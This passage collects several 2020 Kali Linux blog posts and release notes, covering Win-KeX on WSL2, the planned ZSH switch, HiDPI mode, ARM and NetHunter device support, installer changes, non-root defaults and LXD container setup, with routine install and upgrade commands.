Shared clipboard - cut and paste content between Kali and Windows apps

The installation of Win-KeX is as easy as always:

sudo apt upgrade && sudo apt install -y kali-win-kex (in a Kali WSL installation/)

Win-KeX now supports two dedicated modes:

Win-KeX Window mode is the classic Win-KeX look and feel with one dedicated window for the Kali Linux desktop. To launch Win-KeX in Window mode with sound support, type: kex --win -s
Win-KeX SL mode provides a seamless integration of Kali Linux into the Windows desktop with the Windows Start menu at the bottom and the Kali panel at the top of the screen. All applications are launched in their own windows sharing the same desktop as Windows applications. kex --sl --s

To enable sound:

Start Win-KeX with the --sound or -s command line parameter. We’ve been watching Blu-rays in Win-KeX SL without problems. Why you ask? Because - now we can ;-)

Win-KeX now supports concurrent sessions

Win-KeX as unprivileged user
Win-KeX as root user
Win-KeX SL

Windows Firewall

Both SL mode and sound support require access through the Windows Defender firewall. When prompted, tick “Public networks”. You can later go to the firewall settings and restrict the scope to the WSL network (usually 172.3x.xxx.0/20)

Manpage

Forgotten that lifesaving parameter? Try:

kex --help

for a quick overview, or consult the manual page for a detailed manual:

man kex

Big shout-out to the authors of the following components without which there would be no Win-KeX:

Win-KeX Win is brought to you by TigerVNC
Win-KeX SL utilizes VcXsr Windows X Server
Sound support is achieved through the integration of PulseAudio.

Further Information:

More information can be found on our documentation site.

We hope you enjoy Win-KeX as much as we do and we’d love to see you around in the Kali Forums

Kali Linux 2020.3 Release (ZSH, Win-KeX, HiDPI & Bluetooth Arsenal)

Tue, 18 Aug 2020 00:00:00 +0000

Its that time of year again, time for another Kali Linux release! Quarter #3 - Kali Linux 2020.3. This release has various impressive updates, all of which are ready for immediate download or updating.

A quick overview of what’s new since the last release in May 2020:

New Shell - Starting the process to switch from “Bash” to “ZSH”
The release of Win-KeX - Get ready WSL2
Automating HiDPI support - Easy switching mode
Tool Icons - Every default tool now has its own unique icon
Bluetooth Arsenal - New set of tools for Kali NetHunter
Nokia Support - New devices for Kali NetHunter
Setup Process - No more missing network repositories and quicker installs

New Shell (Is Coming)

Most people who use Kali Linux, (we hope), are very experienced Linux users. As a result, they feel very comfortable around the command line. We understand that “shells” are a very personal and precious thing to everyone (local or remote!), as that is how most people interact with Kali Linux. To the point where lots of experienced users only use a “GUI” to spin up multiple terminals. By default, Kali Linux has always used “bash” (aka “Bourne-Again SHell”) as the default shell, when you open up a terminal or console. Any seasoned Kali user would know the prompt kali@kali:~$ (or root@kali:~# for the older users!/) very well!

Today, we are announcing the plan to switch over to ZSH shell. This is currently scheduled to be the default shell in 2020.4 (for this 2020.3 release, bash will still be the default).

If you have a fresh default install of Kali Linux 2020.3, you should have ZSH already installed (if not, do sudo apt install -y zsh zsh-syntax-highlighting zsh-autosuggestions), ready for a try. However if you installed an earlier version of Kali Linux and have upgraded to 2020.3, your user will be lacking the default ZSH configuration that we cooked with lots of love. So for upgrade users only, make sure to copy the configuration file:

kali@kali:~$ cp /etc/skel/.zshrc ~/
kali@kali:~$

Then all you need to do is switch to ZSH:

kali@kali:~$ zsh
┌──(kali㉿kali)-[~]
└─$

If you like what you see, you can set ZSH as your default (replacing bash) by doing chsh -s /bin/zsh. Which is what we will be doing in 2020.4.

We wanted to give the community a notice before this switch happens. This is a very large change (some may argue larger than the Gnome to Xfce switch last year). We are also looking for feedback. We hope we have the right balance of design and functionality, but we know these typically don’t get done perfect the first time. And, we don’t want to overload the default shell with too many features, as lower powered devices will then struggle or it may be hard to on the eyes to read. ZSH has been something we have wanted to do for a long time (even before the switch over to Xfce!).

We will be doing extensive testing during this next cycle so we reserve the right to delay the default change, or change direction all together. Again, we encourage you to provide feedback on this process. There is no way we can cover every use case on our own, so your help is important.

Q.) Why did you make the switch? What’s wrong with bash? A.) You can do a lot of advanced things with bash, and customize it to do even more, but ZSH allows you to do even more. This was one really large selling point.

Q.) Why did you pick ZSH and not fish? A.) In the discussion of switching shells, one of the options that came up is Fish (Friendly Interactive SHell). Fish is a nice shell (probably nicer than ZSH), but realistically it was not a real consideration due to the fact that it is not POSIX compatible. This would cause a lot of issues, as common one-liners just won’t work.

Q.) Are you going to use any ZSH frameworks (e.g. Oh-My-ZSH or Prezto)? A.) At this point in time, by default, no. The weight of these would not be workable for lower powered devices. You can still install them yourself afterwards (as many of our team do).

Win-KeX

Having Kali Linux on “Windows Subsystem for Linux” (WSL) is something we have been taking advantage of since it came out. With the release of WSLv2, the overall functionality and user experience improved dramatically.

Today, the experience is improving once more with the introduction of Win-KeX (Windows + Kali Desktop EXperience). After installing it, typing in kex, or clicking on the button, Win-KeX will give you a persistent-session GUI.

After getting WSL installed (there’s countless guides online, or you can follow ours/), you can install Win-KeX by doing the following:

sudo apt update && sudo apt install -y kali-win-kex

Afterwards, if you want to make a shortcut, follow our guide, or you can just type in kex!

On the subject of WSL (and this is true for Docker and AWS EC2) something we have seen a bit is after getting a desktop environment, people have noticed the tools are not “there”. This is because they are not included by default, to keep the image as small as possible. You either need to manually install them one by one, or grab the default metapackage to get all the tools from out-of-the-box: sudo apt install -y kali-linux-default

Please note, Win-KeX does require WSL v2 on x64 as it’s not compatible with WSL v1, or arm64.

For more information, please see our documentation page on Win-KeX

Automating HiDPI

HiDPI displays are getting more and more common. Unfortunately, Linux support, out of the box, hasn’t been great (older Linux users may remember a time where this was very common for a lot of hardware changes.). Which means after doing a fresh install, there is a bit of tweaking required to get it working, otherwise the font/text/display may be very small to read. We have had a guide out explaining the process required to get it working, but the process before was a little “fiddly”. We wanted to do better.

So we made kali-hidpi-mode. Now, either typing in kali-hidpi-mode or selecting it from the menu (as shown below), should automate switching between HiDPI modes.

Tool Icons

Over the last few releases, we have been showing the progress on getting more themed icons for tools. We can now say, if you use the default tool listing (kali-linux-default), every tool in the menu (and then a few extra ones!), should have their own icon now.

We will be working on adding missing tools to the menu (and creating icons for them) over the next few releases of Kali, as well as expanding into the kali-linux-large metapackage (then kali-tools-everything/). We also have plans for these icons, outside of the menu - more information in an upcoming release!

Kali NetHunter Bluetooth Arsenal

We are proud to introduce Bluetooth Arsenal by @yesimxev from the Kali NetHunter team. It combines a set of bluetooth tools in the Kali NetHunter app with some pre-configured workflows and exciting use cases. You can use your external adapter for reconnaissance, spoofing, listening to and injecting audio into various devices, including speakers, headsets, watches, or even cars.

Please note that RFCOMM and RFCOMM tty will need to be enabled in kernels from now on to support some of the tools.

Kali NetHunter for Nokia Phones

Kali NetHunter now supports the Nokia 3.1 and Nokia 6.1 phones, thanks to @yesimxev. Images are available on our download site. Please note that those images contain a “minimal Kali rootfs” due to technical reasons but you can easily install all the default tools via sudo apt install -y kali-linux-default.

Setup Process

The full installer image always had all the packages required for an offline installation but if you installed a Kali Linux system with this image and without disabling the network, the installer would automatically run dist-upgrade during the install. This is done to make sure that you have the latest packages on first boot. And that step can take a very long time, especially after a few months after a release when lots of updates have accumulated. Starting with 2020.3, we disabled the network mirror in the full installer so that you always get the same installation speed, and the same packages and versions for that release - just make sure to update after installing!

Whilst we were at it, we fixed another related issue. If you didn’t have network access (either voluntarily or otherwise) during installation, you would get an empty network repository (/etc/apt/sources.list/). This means, you would not be able to use apt to install additional packages. While there might be some users who will never have network, we believe that it’s best to actually configure that file in all cases. So that’s what we did. By default, any fresh installs going forward after 2020.3 will have network repositories pre-defined.

ARM Device Updates

We have (along with the work of Francisco Jose Rodríguez Martos who did a lot of the back end changes) refreshed our build-scripts for our ARM devices. We pre-generated various different ARM images (as of 2020.3 - 19 images) to allow for quick download and deployment, but we have build scripts for more (as of 2020.3 - 39 images). If your device is not one of ones that we release images for, you’ll need to use the scripts to self generate the image.

Notable changes in ARM’s 2020.3 release:

All of the ARM images come with kali-linux-default metapackage installed, bringing them in line with the rest of our releases, so more tools are available when you first boot
We have reduced the size of all our ARM images that are created, so downloads should be smaller. However, you will still need to use at least a 16GB sdcard/USB drive/eMMC
Pinebook and Pinebook Pro images can now be used on either sdcard or eMMC
The Pinebook image now has the WiFi driver built during image creation, instead of on first boot, this should speed up first boot time massively
The Pinebook Pro has a change from the upstream firmware, which changes ccode=DE to ccode=all - this allows access to more 2.4GHz and 5GHz channels
The 64-bit RaspberryPi images now have the RaspberryPi userland utilities built during image creation, so vcgencmd and various other utilities that were previously only available on the 32-bit image are now usable on 64-bit as well
The ODROID-C2 image now uses the Kali kernel, instead of a vendor provided one. This means in the future, an apt dist-upgrade will get you kernel updates instead of waiting for a new Kali release
The /etc/fstab file now includes the root partition via UUID, this should make it easier when trying to use a USB drive instead of sdcard on devices that support it

A few things which are work in progress:

RaspberryPi images are using 4.19 kernels. We would like to move to 5.4 however, nexmon isn’t working properly with it (as the new kernel requires firmware version => 7.45.202) for which no nexmon patch exists yet
There is a new USBArmory Mk2 build script. We don’t have the hardware to test it however, so we are looking for community feedback who is able to test it out
Veyron image will be released at a later date to kernel issues that haven’t yet been tracked down

Desktop Environment

As there has been minor update to Gnome, we have been taking some advantages of the new settings:

GNOME’s file manager nautilus has a new theme
GNOME’s system-monitor now matches the colors and also has stacked CPU charts
Improved the design for “nested headerbars” (example, in the Settings Window, where the left headerbar is joined with the side-navbar)

Community Shoutouts

A new section in the release notes, community shoutouts. These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Crash who has been helping the community for some time now, thank you!
FrangaL who has been doing some great work with Kali Linux ARM, thank you!

Anyone can help out, anyone can get involved!

Download Kali Linux 2020.3

Fresh Images So what are you waiting for? Start downloading already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you can’t wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know these are automated builds that we don’t QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release.

Existing Upgrades If you already have an existing Kali Linux installation, remember you can always do a quick update:

kali@kali:~$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update && sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f
kali@kali:~$

You should now be on Kali Linux 2020.3. We can do a quick check by doing:

kali@kali:~$ grep VERSION /etc/os-release
VERSION="2020.3"
VERSION_ID="2020.3"
VERSION_CODENAME="kali-rolling"
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.7.6-1kali2 (2020-07-01)
kali@kali:~$
kali@kali:~$ uname -r
5.7.0-kali1-amd64
kali@kali:~$

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we don’t know is broken! And Twitter is not a Bug Tracker!

Kali Linux 2020.2 Release (KDE & PowerShell)

Tue, 12 May 2020 00:00:00 +0000

Despite the turmoil in the world, we are thrilled to be bringing you an awesome update with Kali Linux 2020.2! And it is available for immediate download.

A quick overview of what’s new since January:

KDE Plasma Makeover & Login
PowerShell by Default. Kind of.
Kali on ARM Improvements
Lessons From The Installer Changes
New Key Packages & Icons
Behind the Scenes, Infrastructure Improvements

With Xfce and GNOME having had a Kali Linux look and feel update, it’s time to go back to our roots (days of BackTrack) and give some love and attention to KDE Plasma. Introducing our dark and light themes for KDE Plasma:

On the subject of theming, we have also tweaked the login screen (lightdm). It looks different, both graphically and the layout (the login boxes are aligned now)!

PowerShell by Default. Kind of.

A while ago, we put PowerShell into Kali Linux’s network repository. This means if you wanted powershell, you had to install the package as a one off by doing:

kali@kali:~$ sudo apt install -y powershell

We now have put PowerShell into one of our (primary) metapackages, kali-linux-large. This means, if you choose to install this metapackage during system setup, or once Kali is up and running (sudo apt install -y kali-linux-large), if PowerShell is compatible with your architecture, you can just jump straight into it (pwsh)!

PowerShell isn’t in the default metapackage (that’s kali-linux-default), but it is in the one that includes the default and many extras, and can be included during system setup.

Kali on ARM Improvements

With Kali Linux 2020.1, desktop images no longer used “root/toor” as the default credentials to login, but had moved to “kali/kali”. Our ARM images are now the same. We are no longer using the super user account to login with.

We also warned back in 2019.4 that we would be moving away from a 8GB minimum SD card, and we are finally ready to pull the trigger on this. The requirement is now 16GB or larger.

One last note on the subject of ARM devices, we are not installing locales-all any more, so we highly recommend that you set your locale. This can be done by running the following command, sudo dpkg-reconfigure locales, then log out and back in.

Lessons From Installer Changes

With Kali Linux 2020.1 we announced our new style of images, “installer” & “live”.

Issue It was intended that both “installer” & “live” could be customized during setup, to select which metapackage and desktop environment to use. When we did that, we couldn’t include metapackages beyond default in those images, as it would create too large of an ISO. As the packages were not in the image, if you selected anything other than the default options it would require network access to obtain the missing packages beyond default. After release, we noticed some users selecting “everything” and then waiting hours for installs to happen. They couldn’t understand why the installs where taking so long.

We also have used different software on the back end to generate these images, and a few bugs slipped through the cracks (which explains the 2020.1a and 2020.1b releases).

Solutions

We have removed kali-linux-everything as an install time option (which is every package in the Kali Linux repository) in the installer image, as you can imagine that would have taken a long time to download and wait for during install
We have cached kali-linux-large & every desktop environment into the install image (which is why its a little larger than previous to download) - allowing for a COMPLETE offline network install
We have removed customization for “live” images - the installer switched back to copying the content of the live filesystem allowing again full offline install but forcing usage of our default XFCE desktop

Summary

If you are wanting to run Kali from a live image (DVD or USB stick), please use “live”
If you are wanting anything else, please use “installer”
If you are wanting anything other than XFCE as your desktop environment, please use “installer”
If you are not sure, get “installer”

Also, please keep in mind on an actual assessment “more” is not always “better”. There are very few reasons to install kali-linux-everything, and many reasons not too. To those of you that were selecting this option, we highly suggest you take some time and educate yourself on Kali before using it. Kali, or any other pentest distribution, is not a “turn key auto hack” solution. You still need to learn your platform, learn your tools, and educate yourself in general.

Consider what you are really telling Kali to do when you are installing kali-linux-everything. Its similar to if you went into your phones app store and said “install everything!”. Thats likely not to have good results. We provide a lot of powerful tools and options in Kali, and while we may have a reputation of “Providing machine guns to monkeys”, but we actually expect you to know what you are doing. Kali is not going to hold your hand. It expects you to do the work of learning and Kali will be unforgiving if you don’t.

New Key Packages & Icons

Just like every Kali Linux release, we include the latest packages possible. Key ones to point out this release are:

GNOME 3.36 - a few of you may have noticed a bug that slipped in during the first 12 hours of the update being available. We’re sorry about this, and have measures in place for it to not happen again
Joplin - we are planning on replacing CherryTree with this in Kali Linux 2020.3!
Nextnet
Python 3.8
SpiderFoot

For the time being, as a temporary measure due to certain tools needing it, we have re-included python2-pip. Python 2 has now reached “End Of Life” and is no longer getting updated. Tool makers, please, please, please port to Python 3. Users of tools, if you notice that a tool is not Python 3 yet, you can help too! It is not going to be around forever.

Whilst talking about packages, we have also started to refresh our package logos for each tool. You’ll notice them in the Kali Linux menu, as well as the tools page on GitLab (more information on this coming soon!)

If your tool has a logo and we have missed it, please let us know on the bug tracker.

WSLconf

WSLconf happened earlier this year, and @Steev gave a 35 minute talk on “How We Use WSL at Kali”. Go check it out!

Behind the Scenes, Infrastructure Improvements

We have been celebrating the arrival of new servers, which over the last few weeks we have been migrating too. This includes a new ARM build server and what we use for package testing.

This may not be directly noticeable, but you may reap the benefits of it! If you are wanting to help out with Kali, we have added a new section to our documentation showing how to submit a autopkgtest. Feedback is welcome!

Kali NetHunter

We were so excited about some of the work that has been happening with NetHunter recently, we already did a mid-term release to showcase them and get it to you as quick as possible.

On top of all the previous NetHunter news there is even more to announce this time around!

Nexmon support has been revived, bringing WiFi monitor support and frame injection to wlan0 on the Nexus 6P, Nexus 5, Sony Xperia Z5 Compact, and more!
OpenPlus 3T images have been added to the download page.
We have crossed 160 different kernels in our repository, allowing NetHunter to support over 64 devices! Yes, over 160 kernels and over 64 devices supported. Amazing.
Our documentation page has received a well deserved refresh, especially the kernel development section.

One of the most common questions to come in about NetHunter is “What device should I run it on?”. Keep your eye on this page to see what your options are on an automatically updated basis!

When you think about the amount of power NetHunter provides in such a compact package, it really is mind blowing. Its been amazing to watch this progress, and the entire Kali team is excited to show you what is coming in the future.

Download Kali Linux 2020.2

Fresh images So what are you waiting for? Start downloading already!

Seasoned Kali users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you can’t wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know these are automated builds that we don’t QA like we do our standard release images.

Existing Upgrades If you already have an existing Kali installation, remember you can always do a quick update:

kali@kali:~$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update && sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f
kali@kali:~$

You should now be on Kali Linux 2020.2. We can do a quick check by doing:

kali@kali:~$ grep VERSION /etc/os-release
VERSION="2020.2"
VERSION_ID="2020.2"
VERSION_CODENAME="kali-rolling"
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.5.17-1kali1 (2020-04-21)
kali@kali:~$
kali@kali:~$ uname -r
5.5.0-kali2-amd64
kali@kali:~$

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we don’t know is broken! And Twitter is not a Bug Tracker!

Kali NetHunter Updates

Wed, 01 Apr 2020 00:00:00 +0000

Many outstanding discoveries have been made by our vibrant NetHunter community since 2020.1, so we have decided to publish a mid-term release to showcase these amazing developments on selected devices.

Massive thanks to our dedicated developers @Kimocoder, @PaulWebSec, @simonpunk, @yesimxev, & #DJY who did an incredible job in bringing you the following highlights:

Monitor support for Qualcomm wifi chips in various snapdragon SOCs
New RTL88XXXU drivers with injection support
New USB function management GUI for HID attacks and much more
GitLab CI to dramatically speed up the release workflows
NetHunter Kernel-Builder to simplify building custom kernels
Brand new NetHunter images for the following devices
- Nexus 6P with Android 8.1
- Nexus 6P with LineageOS 17.1
- OnePlus 7 with Android 10
- Xiaomi Mi 9T with Miui 11

Nexus 6P images for Android 8.1 and LineageOS 17.1

One of the most popular NetHunter devices has received a well deserved refresh.

We have released two new images to provide support for:

Stock Android 8.1
LineageOS 17.1 / PE 10
Additional WiFi adaptors with injection support

Both these images include updated kernels with the latest rtl88XXXu drivers from the legendary @Kimocoder, adding injection support for:

RTL8812AU
RTL8814AU
RTL8821AU

The Android 8.1 image is considered the recommended release with a proven track record of supporting NetHunter under the most extreme conditions, including force encryption of the data partition.

Considering the current maturity of Android 10 for this platform, we would consider this version to be most suited for those who love to experiment and don’t mind getting things working by themselves. We had to edit the vendor fstab file on a laptop to disable force encryption because TWRP didn’t support it at the time of writing. If that doesn’t scare you then this image might be just right for you.

Both images are available for download on our Kali NetHunter download page.

OnePlus 7 (T / Pro) image for Android 10

Our flagship device has received a new kernel for Android 10 based on the amazing work of the talented #tytydraco.

The image supports the following models in the series:

OnePlus 7
OnePlus 7 Pro
OnePlus 7T
OnePlus 7T Pro

Please note that we do not currently recommend the OnePlus 7T and OnePlus 7T Pro until full TWRP recovery support is available.

Our pick is the OnePlus 7 for its incredible price performance ratio.

The new image offers all the usual bells and whistles you can expect from NetHunter but also has some improvements over the Android 9 version, such as:

Full support for USB multi-port adaptors (USB,HDMI, ethernet, pass-through charging, etc.)
Full HID support
The latest rtl88XXXu drivers from @Kimocoder, adding injection support for:
- RTL8812AU
- RTL8814AU
- RTL8821AU

The image is available for download on our Kali NetHunter download page. Please note that Android 10 adds certain restrictions to the way storage access is handled. Please update the NetHunter app from the NetHunter store after flashing the image to enable the required access.

Xiaomi Mi 9T image for Android 10

We are very excited to welcome our new favourite mid tier device. Sporting a Qualcomm SDM730 Snapdragon, 6GB RAM & 64GB /128GB it is a beast of a machine for under US$300! The miui interface is gorgeous especially when paired with the lawnchair 3 launcher but might not be everybody’s cup of tea. Luckily there are 3rd party ROMs available to suit everyone’s taste.

Just like its bigger brother, the OP7, this device includes all the bells and whistles:

Full support for USB multi-port adaptors (USB,HDMI, ethernet, pass-through charging, etc.)
Full HID support
The latest rtl88XXXu drivers from @Kimocoder, adding injection support for:
- RTL8812AU
- RTL8814AU
- RTL8821AU

Miui being a little bit eccentric, you might have to disable the “Privileged Extension” in the NetHunter store app under “Expert mode” if the store app fails to install applications. Other than that, this device is my personal favourite.

Monitor mode for internal QCACLD wlan0 chips

Over the past few months, various researchers and developers have independently discovered a little gem amongst all the commits to the Qualcomm qcacld-3.0 wifi driver in the Code Aurora Forum: A patch to enable monitor mode

One of those researchers was our very own @Kimocoder who immediately mobilised @simonpunk & #DJY to develop kernel patches and NetHunter extensions to bring us that amazing feature within days of discovery. Outstanding work and we are incredibly proud of their achievement.

Both the OnePlus 7 and Xiaomi Mi 9T images fully support this feature. We also added custom commands to start / stop the monitor mode for wlan0:

We are working tirelessly to roll out this kernel patch to other devices and we welcome everybody’s input. If you would like to develop a custom kernel for NetHunter, please keep reading about our new kernel-builder and join us in our forums. The more devices we can support the better and the more people involved the more fun we are all going to have.

USB Arsenal for HID attacks and more

Newer Android kernels (4.x) no longer require patches to add Human Interface Device (HID) gadget mode to our devices, which is required for rubber ducky style USB attacks.

HID gadget mode is now fully supported by default but has to be enabled and configured via userspace controls. We have implemented a two tier USB gadget mode control centre:

NetHunter kernel packages can install custom init.rc files with device specific USB gadget mode controls
NetHunter app developer extraordinaire @simonpunk has developed a menu for the NetHunter app called “USB Arsenal”, which can either trigger the functions defined in the init.rc, or - if no device specific init.rc exists - allows you to configure your own gadget mode.

But he didn’t stop there. The USB Arsenal also allows you to mount images (img and iso) and to provide them as a mass storage device to target machines as if it were a USB stick.

On top of that, the USB Arsenal provides a menu to set up USB network tethering.

We are incredibly excited about the US Arsenal and will dedicate an entire article about this useful application in the near future.

NetHunter Kernel Builder

We are providing three different editions of Kali NetHunter:

Kali NetHunter rootless, which delivers over 85% of Kali NetHunter functionality to Android devices without the need to root the device or install a custom recovery
Kali NetHunter light, which delivers over 95% of Kali NetHunter functionality to devices that are rooted and have a custom recovery but for which no NetHunter kernel exists (yet)
Kali NetHunter, which delivers 100% but requires a rooted device with a custom recovery and a kernel that has been custom built for NetHunter

Building a custom kernel for NetHunter is not black magic but is does require experimentation, patience, resilience and a lot of time…

…or it used to.

We have created the NetHunter Kernel-Builder. A one stop shop to:

Download and setup the toolchains required by your particular kernel
Provide over ten different pre-built toolchains to cater for everybody’s needs
Create a NetHunter kernel config
Patch the kernel with standard and device specific patches from a central repository
Build the kernel
Create anykernel zip to test the kernel (full functionality requires a NetHunter image or kernel package)
Create a zip file to extract in the nethunter-installer folder to build nethunter images

We have been using the Kernel-Builder to build the kernels for all devices on this page and it saved us over 75% of the time it would have taken us in the past. We have added example config files that allows you to compile the kernels for the devices on this page and you can use them as a guide to build a kernel for your own device.

The Kernel-Builder is a great tool to simplify and automate and whilst it is also ideal to learn about Android kernel building, it requires skills to build kernels and it takes time to master those skills. The Kernel-Builder will help freeing that time by eliminating repetitive and redundant tasks and documentations.

On the topic of documentation; the documentation for the kernel builder is yet to be completed but we plan to finish that within 7 days of this blog post going up.

Please check out the kernel-builder repo and join us in our forums if you are interested in building NetHunter kernels. We’d love to have you on board.

Please join us in the forums or on IRC OFTC, #NetHunter](https://webchat.oftc.net/?randomnick=1&channels=nethunter).

Download the brand new, mid-term release images for the Nexus 6P, Oneplus 7 series, and Xiaomi 9T here.

Kali Linux 2020.1a Release

Tue, 03 Mar 2020 00:00:00 +0000

Just a quick update to the 2020.1 release we put out last month. We made some major changes to the installers, and some people had a few issues with some of the images we released. So, we made some slight alternations to smooth things out and make the install process easier for everyone.

Base Image

Before, we used to release multiple separate installers for different Desktop Environments (DE). With 2020.1 we changed how we distributed our base images, without having multiple different ISOs for each DE, by introducing a “installer” image as well as a “live” image.

Both accomplish the same thing, but how they do it is different. The “installer” image is the new one, as this uses “debian-cd” on the back-end. We noticed a bug in a dependency chain, which caused an issue with x11. As a result, you may not have got a graphical interface after installing Kali. As a result, we pushed out a fix (2020.1a) to address this.

Note: If you are already running 2020.1, you do not need to reinstall. The 2020.1a release is only for those who weren’t able to successfully install 2020.1

Raspberry Pi

We have also pushed out an updated image, both 32-bit and 64-bit for Raspberry Pi, due to some files being corrupt in the initial image.

Vagrant

Since the introduction of a non-root user, we have switched the default user to be kali. We also moved the vagrant image to this user as well. However, we reverted it back to vagrant to be more in line with their best practices.

Not long after this fix, we have received a contribution to fix a bug that would occur if you defined an additional network inteface in the Vagrantfile.

You can find both of those fixes in the latest version of the Vagrant box (2020.1.2).

PineBook Pro

We have got Kali Linux running on a PineBook Pro! Please download a copy and try it out if you have a PineBook! If you don’t know what the PineBook is, check it out!

2020.2

Thanks to everyone who reported an issue on the bug tracker (Sorry, twitter doesn’t count). Keep them coming so we can make 2020.2 even stronger!

If you have read this far, we are aiming for a Tuesday in May for its release.

Kali Everywhere!

Wed, 19 Feb 2020 00:00:00 +0000

There was some recent noise around children and their use of Kali, so @Re4son stepped up with a new way to run Kali in locations where it may have been hard to in the past. This allows you to run Kali instances inside other Unix systems, making Kali even more accessible to kids than before. Welcome LXD.

This is added to our other alternative versions of Kali such as Docker instances, cloud images, WSL, Vagrant, NetHunter, Azure, and so on. We have the goal to make Kali as easily available to you as possible, so you always have access to it whenever you may need it.

After all, Kali is for the children. 👐

Kali Linux LXC / LXD Images Released

Thanks to the awesome people maintaining the Linux Image Server for LXC and LXD, our Kali Linux container images are now available for easy installation using LXD or LXC. If you are already running Kali Linux but need to protect your machine from yourself whilst reversing that funky malware you just discovered, or you got issued a work laptop running Ubuntu but you really crave a bit of Kali power then Linux Containers are the perfect solution for you.

Linux Containers are Amazing

Figuring out how to use LXD was as simple as trying it out online.

We quickly adopted Linux Containers as our go-to solution for reversing, developing, packaging, testing… well pretty much for all the tasks that requires us to protect our production equipment from ourselves. Linux Containers are a great alternative to Virtual Machines, without the overhead. They are as awesome as docker containers but for entire systems, not just for single applications.

We personally recommend using LXD on Ubuntu and LXC on other Linux distributions but that is purely personal preference as that is what is natively supported by those systems.

We have published a dedicated page in our Kali Linux Documentation site with step-by-step guides on how to install containers in the following scenarios:

Kali Linux LXD container on Ubuntu host for running command line applications
Kali Linux LXD container on Ubuntu host for running GUI applications
Kali Linux LXC privileged container on Kali host
Kali Linux LXC unprivileged container on Kali host

Let’s see how easy it is to launch a Kali LXD container image in Ubuntu:

Setting up a Kali Linux LXD Image in Ubuntu

Obviously, to get this running, you need LXD installed. In Ubuntu we can install LXD as a snap package. Once installed we launch a Kali Linux container image, install some additional packages and create a non-root user. The whole procedure should only take a few minutes before we can log in:

## Install LXD
sudo snap install lxd
lxd init
## Launch the container
lxc launch images:kali/current/amd64 my-kali
## Install some additional applications, use either light or default
lxc exec my-kali -- passwd ## First things first
lxc exec my-kali -- apt install kali-linux-light ## Bare minimum
lxc exec my-kali -- apt install kali-linux-default ## Default set of packages
## Setup non-root user
lxc exec my-kali -- adduser kali
lxc exec my-kali -- usermod -aG sudo kali
lxc exec my-kali -- sed -i '1 i\TERM=xterm-256color' /home/kali/.bashrc
lxc exec my-kali -- sh -c "echo 'Set disable_coredump false' > /etc/sudo.conf"
## Login
lxc console my-kali

Voila! That’s all there is to it.

You can even run GUI applications from the LXD container but that requires a few more steps to set up, as detailed in our Documentation.

Running an unprivileged Kali Linux container on a Kali host using LXC might not look as dramatic but is just as useful:

Have fun with your Kali LXC / LXD images!

Kali Linux 2020.1 Release (Non-Root, Single Installer & NetHunter Rootless)

Tue, 28 Jan 2020 00:00:00 +0000

We are here to kick off our first release of the decade, with Kali Linux 2020.1! Available for immediate download.

The following is a brief feature summary for this release:

Non-Root by default
Kali single installer image
Kali NetHunter Rootless
Improvements to theme & kali-undercover
New tools

Non-Root

Throughout the history of Kali (and its predecessors BackTrack, WHAX, and Whoppix), the default credentials have been root/toor. This is no more. We are no longer using the superuser account, root, as default in Kali 2020.1. The default user account is now a standard, unprivileged, user.

For more of the reasons behind this switch, please see our previous blog post. As you can imagine, this is a very large change, with years of history behind it. As a result, if you notice any issues with this, please do let us know on the bug tracker.

root/toor is dead. Long live kali/kali.

Kali as your Main OS

So with this, should you use Kali as your daily driver, as the primary OS? It’s up to you. There wasn’t anything really stopping you before, we just don’t encourage it. We still don’t. But its a helping hand for the people who are familiar with Kali enough.

Why do we not recommend it? Because we are unable to test for that usage pattern and we don’t want the influx of bug reports that would come with it. If you are brave enough to try it, you may wish to switch the branch from “rolling” to “kali-last-snapshot” to try and be more stable.

Kali Single Installer Image

We took a good hard look at the usage of Kali, what images are actually downloaded, how they are put to use, and so on. With this information in hand, we decided to completely restructure and simplify the images we release. Going forward, we will have an installer image, a live image, and a network installer image.

These changes should allow for easier selection of the right image for you to download, while increasing flexibility on installation and further reducing download sizes.

Our Installer Image

This is what we recommend for most users that want to install Kali on their system
Doesn’t require a network connection (aka offline install) for the default package selection
Able to select desktop environment to install (Previously there was a separate image for each DE: XFCE, GNOME, KDE, etc.)
Able to select tools to install at install time
Can’t be used to boot a live system. This is just an installer image.
Filename:
- kali-linux-2020.1-installer-<amd64|i386>.iso

We are no longer offering separate images for every desktop environment (DE). Instead, we now have a single image with the option to pick your DE during installation. This means there isn’t a download link for Xfce (which is our default option since 2019.4), GNOME, KDE, MATE or LXDE DEs. Just one image to rule them all.

At install time, you may select the tools included with Kali (or none at all)! This gives you more control over what you want. We understand that Kali comes with more tools than some people use, or they have their own select tools they use. Now they can install Kali without any metapackages, giving them a bare Kali installation, so they can individually select what tools they want (rather than groups/).

The default image contains the kali-desktop-xfce and kali-tools-default packages, allowing for an offline installation of Kali (as it always has been). Selecting any non-default tools will require a network connection.

Note: “Kali Live” is not included in this image. If you wish to use live mode, you’ll need the live image.

Network Install Image

Smallest image to download
This requires a network connection to install
During setup, it will download the latest packages every time it’s used
Able to select desktop environment to install
Able to select tools to install
Can’t be used to boot a live system. This is just an installer image.
Filename:
- kali-linux-2020.1-installer-netinst-<amd64|i386>.iso

